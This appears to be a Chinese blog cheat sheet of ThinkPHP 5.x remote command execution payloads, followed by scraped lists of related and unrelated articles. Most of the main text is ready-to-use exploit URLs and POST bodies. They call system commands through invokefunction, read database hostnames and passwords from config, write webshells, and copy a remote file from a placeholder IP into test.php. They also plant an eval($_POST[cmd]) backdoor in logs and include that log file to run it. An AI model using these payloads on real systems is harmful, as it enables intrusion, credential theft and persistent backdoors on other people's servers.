thinkPHP命令执行漏洞
thinkPHP中反斜杠的作用是类库\命名空间
命令执行的姿势
通过反射invokefunction调用call_user_func_array方法,call_user_func_array函数接受两个参数,第一个为函数名,第二个为函数参数数组,如下所示,通过call_user_func_array函数调用system执行whoami函数
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
执行php代码
?s=index/\think\Request/input&filter=phpinfo&data=1
获取当前数据库名称
?s=index/think\config/get&name=database.hostname
获取当前数据库密码
?s=index/think\config/get&name=database.password
执行php代码
?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>
执行php代码
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
执行php代码
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
执行php代码
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
执行php代码
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
getshell的姿势
写入getshell (file_put_contents应该也行)
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20phpinfo();?>
使用echo写入shell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://ip/1.xxx','test.php')
一种新的方法
先判断以下代码是否能正常回显
使用post方法请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
写入shell到日志中
post请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[cmd]); ?>
使用文件包含将日志文件可当作php文件进行执行(注意日志文件路径和名称)
post请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log
通过一句话copy新一句话文件(echo)
post请求
请求实体:index.php?s=captcha
请求路径:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log&cmd=echo copy("https://ip/1.txt","/web绝对路径/2.php");
thinkPHP 5X 在PHP7以上环境下的 GETSHELL
thinkPHP命令执行漏洞的更多相关文章
- ThinkPHP 5.x远程命令执行漏洞复现
ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...
- ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 作者:SoulCat. 来源:CSDN 原文:https://blog.csdn.net/csacs/article/de ...
- thinkphp5.x命令执行漏洞复现及环境搭建
楼主Linux环境是Centos7,LAMP怎么搭不用我废话吧,别看错了 一.thinkphp5.X系列 1.安装composer yum -y install composer 安装php拓展 yu ...
- HFS远程命令执行漏洞入侵抓鸡黑阔服务器
先来科普一下: HFS是什么? hfs网络文件服务器 2.3是专为个人用户所设计的HTTP档案系统,如果您觉得架设FTP Server太麻烦,那么这个软件可以提供您更方便的网络文件传输系统,下载后无须 ...
- ASP代码审计 -4.命令执行漏洞总结
命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip" ...
- Samba 4.x.x全版本存在命令执行漏洞
Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-1214 ...
- Kali学习笔记30:身份认证与命令执行漏洞
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 实验环境: Kali机器:192.168.163.13 ...
随机推荐
- 【转】Centos7系统下忘记了root管理员账号密码的解决方式
哎,事情的起因就是脑子背了,曾经还手贱把root密码改了,导致普通账户改不回管理员账号了,然而,这次是百毒"救"了我,最终完美修改了root密码,好文章特地转载过来了,侵权删. 原 ...
- python第一章:基础
1.数学操作符: 数学操作符与数学基本类似 最高级:** 第二级:*././/.% 第三级:+ .- 遵循从左到右的顺序 如果想改变优先级 可以使用括号,比如:(3+2)*(5-4)=5*1=5 2. ...
- Vue中键盘事件
Vue中监听 键盘事件及修饰符 键盘事件: keyCode 实际值 48到57 0 - 9 65到90 a - z ( A-Z ) 112到135 F1 - F ...
- Java 第三课 数组排序
1.java.util.Arrays.sort(arr) //升序 2.冒泡排序:相邻元素比较 for (int i=0; i <arr.length-1; i++){//内部遍历一次,确定最 ...
- 腾讯云服务器简单搭建并部署WEB文件
废话不多说直接上图 提前准备以下软件 1. Xshell6 链接你的服务器用 2. FileZilla 上传文件使用 首先你得有服务器吧,去某云买一个,我买的额配置如下 然后去控制台---登录 修改 ...
- json针对list map set 应用
package JSONtest; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; im ...
- exe打包成安装文件(界面美观)
前言 在开发windows桌面应用过程中,软件交付时,一般都是交付安装包. 安装文件的优点 显得更正规,安装界面也可展示软件特点介绍,可自动生成桌面图标等: 安装包体积要比软件小,方便下载. 探索之路 ...
- nacos 作为配置中心使用心得--配置使用
1.页面配置 撇开原理不谈,先来介绍下nacos的基本使用,如下图nacos配置是以data id为单位进行使用的,基本上一个服务的一个配置文件就对应一个data id,支持的格式有xml,yaml, ...
- mysql增删改查语法
MySQL 关注公众号"轻松学编程"了解更多. MySQL是关系型数据库,对大小写不敏感. MySQL属于关系型数据库, 优点: 复杂查询 可以用SQL语句方便的在一个表以及多个表 ...
- 基于MVC的RESTFul风格API实战
基于MVC的RESTful风格的实现 1.RESTful风格阐述 REST服务是一种ROA(Resource-Oriented Architecture,面向资源的架构)应用.主要特点是方法信息存在于 ...